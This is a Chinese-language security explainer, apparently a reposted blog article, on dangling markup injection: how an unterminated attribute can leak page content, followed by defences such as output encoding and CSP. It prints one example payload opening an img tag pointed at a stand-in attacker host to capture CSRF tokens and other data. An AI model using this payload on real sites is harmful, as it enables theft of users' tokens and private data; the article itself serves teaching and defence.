引言:什么是懸空標(biāo)記注入(Dangling markup injection)、典型利用原理是什么,以及如何防止懸空標(biāo)記攻擊?
1. 簡(jiǎn)介
懸空標(biāo)記注入(Dangling markup injection)是一種技術(shù),當(dāng)由于輸入過(guò)濾或其他防御措施而無(wú)法進(jìn)行完全的跨站腳本攻擊時(shí),它可以用于捕獲跨域數(shù)據(jù)。它可以被用來(lái)捕獲其他用戶(hù)可見(jiàn)的敏感信息,包括可用于代表用戶(hù)執(zhí)行未經(jīng)授權(quán)操作的CSRF令牌。該技術(shù)常常被用來(lái)執(zhí)行惡意操作并獲得用戶(hù)的數(shù)據(jù)。攻擊者利用這個(gè)技術(shù)通過(guò)構(gòu)造包含特殊標(biāo)記的查詢(xún)字符串,從另一個(gè)域獲取數(shù)據(jù)。
Note:當(dāng)輸入過(guò)濾器或其他防御措施阻止了完全的跨站腳本攻擊時(shí),攻擊者可以利用這個(gè)技術(shù)來(lái)竊取敏感信息。使用這種技術(shù)需要謹(jǐn)慎,可能會(huì)對(duì)網(wǎng)站造成嚴(yán)重的安全風(fēng)險(xiǎn)。
2. 典型注入原理
假設(shè)應(yīng)用程序以不安全的方式將攻擊者可控制的數(shù)據(jù)嵌入其響應(yīng)中:
<input type="text" name="input" value="可控制的輸入
還假設(shè)應(yīng)用程序沒(méi)有過(guò)濾或轉(zhuǎn)義>
或“
字符。攻擊者可以使用以下語(yǔ)法打破引用的屬性值和封閉標(biāo)記,并返回HTML上下文:
">
在這種情況下,攻擊者自然會(huì)嘗試執(zhí)行XSS(「 典型安全漏洞系列 」01.XSS攻擊詳解)。但假設(shè)由于輸入篩選器、內(nèi)容安全策略(「 網(wǎng)絡(luò)安全術(shù)語(yǔ)解讀 」內(nèi)容安全策略CSP詳解)或其他障礙,常規(guī)XSS攻擊是不可能的。在這里,仍然可以使用如下有效負(fù)載來(lái)提供懸空標(biāo)記注入攻擊:
"><img src='//attacker-website.com?
該有效負(fù)載創(chuàng)建一個(gè)img
標(biāo)記,并定義包含攻擊者服務(wù)器上URL的src
屬性的開(kāi)頭。但當(dāng)前攻擊者的有效負(fù)載不會(huì)關(guān)閉src
屬性,該屬性保留為懸空。當(dāng)瀏覽器解析響應(yīng)時(shí),它將向前看,直到遇到一個(gè)單引號(hào)來(lái)終止屬性。直到該字符之前的所有內(nèi)容都將被視為URL的一部分,并將在URL查詢(xún)字符串內(nèi)發(fā)送到攻擊者的服務(wù)器。任何非字母數(shù)字字符(包括換行符)都將進(jìn)行URL編碼。
攻擊的后果是,攻擊者可以捕獲注入點(diǎn)之后應(yīng)用程序的部分響應(yīng),其中可能包含敏感數(shù)據(jù)。根據(jù)應(yīng)用程序的功能,可能包括CSRF令牌、電子郵件或財(cái)務(wù)數(shù)據(jù)。
Note:任何發(fā)出外部請(qǐng)求的屬性都可以用于懸掛標(biāo)記。
3. 如何防御懸空標(biāo)記注入
-
輸出編碼:通過(guò)對(duì)輸出數(shù)據(jù)進(jìn)行編碼并在到達(dá)時(shí)驗(yàn)證輸入,可以使用與防止跨站點(diǎn)腳本編寫(xiě)相同的通用防御來(lái)防止懸空標(biāo)記攻擊。
-
內(nèi)容安全策略:還可以使用內(nèi)容安全策略(CSP)減輕一些懸空標(biāo)記攻擊。例如,可以使用防止標(biāo)記(如
img
)加載外部資源的策略來(lái)防止部分懸空標(biāo)記攻擊。
Note: Chrome瀏覽器通過(guò)阻止
img
等標(biāo)記定義包含角括號(hào)和換行符等原始字符的URL來(lái)規(guī)避懸空標(biāo)記攻擊。這將防止攻擊,因?yàn)椴东@的數(shù)據(jù)通常包含這些原始字符,因此攻擊會(huì)被阻止。
4. 參考
[1] https://portswigger.net/web-security/cross-site-scripting/content-security-policy文章來(lái)源:http://www.zghlxwxcb.cn/news/detail-798217.html
推薦閱讀:
「 網(wǎng)絡(luò)安全常用術(shù)語(yǔ)解讀 」殺鏈Kill Chain詳解
「 網(wǎng)絡(luò)安全術(shù)語(yǔ)解讀 」點(diǎn)擊劫持Clickjacking詳解
「 網(wǎng)絡(luò)安全術(shù)語(yǔ)解讀 」內(nèi)容安全策略CSP詳解
「 網(wǎng)絡(luò)安全術(shù)語(yǔ)解讀 」靜態(tài)分析結(jié)果交換格式SARIF詳解
「 網(wǎng)絡(luò)安全常用術(shù)語(yǔ)解讀 」安全自動(dòng)化協(xié)議SCAP詳解
「 網(wǎng)絡(luò)安全術(shù)語(yǔ)解讀 」通用平臺(tái)枚舉CPE詳解
「 網(wǎng)絡(luò)安全常用術(shù)語(yǔ)解讀 」通用缺陷枚舉CWE詳解
「 網(wǎng)絡(luò)安全常用術(shù)語(yǔ)解讀 」通用漏洞披露CVE詳解
「 網(wǎng)絡(luò)安全常用術(shù)語(yǔ)解讀 」通用漏洞評(píng)分系統(tǒng)CVSS詳解文章來(lái)源地址http://www.zghlxwxcb.cn/news/detail-798217.html
到了這里,關(guān)于「 網(wǎng)絡(luò)安全術(shù)語(yǔ)解讀 」懸空標(biāo)記注入詳解的文章就介紹完了。如果您還想了解更多內(nèi)容,請(qǐng)?jiān)谟疑辖撬阉鱐OY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!